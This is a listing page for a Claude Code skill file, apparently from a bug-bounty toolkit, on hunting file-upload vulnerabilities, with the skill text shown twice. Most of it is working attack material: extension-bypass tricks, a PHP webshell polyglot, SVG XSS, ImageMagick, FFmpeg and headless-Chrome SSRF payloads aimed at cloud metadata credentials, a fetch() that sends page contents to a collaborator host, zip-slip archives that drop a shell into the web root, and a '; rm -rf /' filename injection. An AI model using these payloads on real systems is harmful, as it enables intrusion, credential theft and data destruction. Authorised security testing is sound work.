/hunt-file-upload
Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg),
$ npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/hunt-file-upload
Context preview
The summary Claude sees to decide when to auto-load this skill.
Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg),
SKILL.md
hunt-file-upload.SKILL.mdname: hunt-file-upload
description: "Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples."
9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention | |---|---|---| | Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension | | Null byte | `shell.php%00.jpg` | Sanitize null bytes | | Double extension | `shell.jpg.php` | Only allow single extension | | MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header | | Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header | | Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid | | SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely | | XXE in DOCX | Malicious XML in Office ZIP | Disable external entities | | ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths | | Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |
Magic Bytes Reference
| Type | Hex | |---|---| | JPEG | `FF D8 FF` | | PNG | `89 50 4E 47 0D 0A 1A 0A` | | GIF | `47 49 46 38` | | PDF | `25 50 44 46` | | ZIP/DOCX/XLSX | `50 4B 03 04` |
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
---
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
---
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"---
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
---
Related Skills & Chains
- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.
- **`hun
Read more
name: hunt-file-upload description: "Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples."
9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack | How | Prevention | |---|---|---| | Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension | | Null byte | `shell.php%00.jpg` | Sanitize null bytes | | Double extension | `shell.jpg.php` | Only allow single extension | | MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header | | Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header | | Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid | | SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely | | XXE in DOCX | Malicious XML in Office ZIP | Disable external entities | | ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths | | Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |
Magic Bytes Reference
| Type | Hex | |---|---| | JPEG | `FF D8 FF` | | PNG | `89 50 4E 47 0D 0A 1A 0A` | | GIF | `47 49 46 38` | | PDF | `25 50 44 46` | | ZIP/DOCX/XLSX | `50 4B 03 04` |
Stored XSS via SVG
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.domain)</script> </svg>
---
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass) # MVG SSRF payload — fetches internal URL during processing cat > /tmp/ssrf.mvg << 'EOF' push graphic-context viewbox 0 0 640 480 fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)' pop graphic-context EOF # SVG SSRF (ImageMagick processes SVG remotely) cat > /tmp/ssrf.svg << 'EOF' <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/> </svg> EOF # WebP/AVIF processing bugs (modern surface — CVE-2023-4863) # Upload a crafted WebP file targeting libwebp heap overflow # Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments cat > /tmp/ssrf.m3u8 << 'EOF' #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://169.254.169.254/latest/meta-data/iam/security-credentials/ #EXT-X-ENDLIST EOF # Also works with concat demuxer cat > /tmp/concat.txt << 'EOF' ffconcat version 1.0 file 'http://COLLAB_HOST/ffmpeg-ssrf' EOF # Test: upload .m3u8 or video file to any video processing endpoint
---
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"---
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames pip3 install evilarc python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip # Symlink attack — archive contains symlink to sensitive file mkdir -p /tmp/sym_attack ln -s /etc/passwd /tmp/sym_attack/innocent.txt zip -ry /tmp/symlink.zip /tmp/sym_attack/ # TAR symlink attack tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/ # Test: upload to any /import, /extract, /unzip endpoint curl -s -X POST "https://$TARGET/api/import" \ -F "file=@/tmp/zipslip.zip"
---
Related Skills & Chains
- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.
- **`hun
A self-contained Claude skill bundle for bug hunting and external red-team work · 82 skills · 15 slash commands · 681 disclosed-report patterns across 24 core vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder
Repo: elementalsouls/Claude-BugHunter
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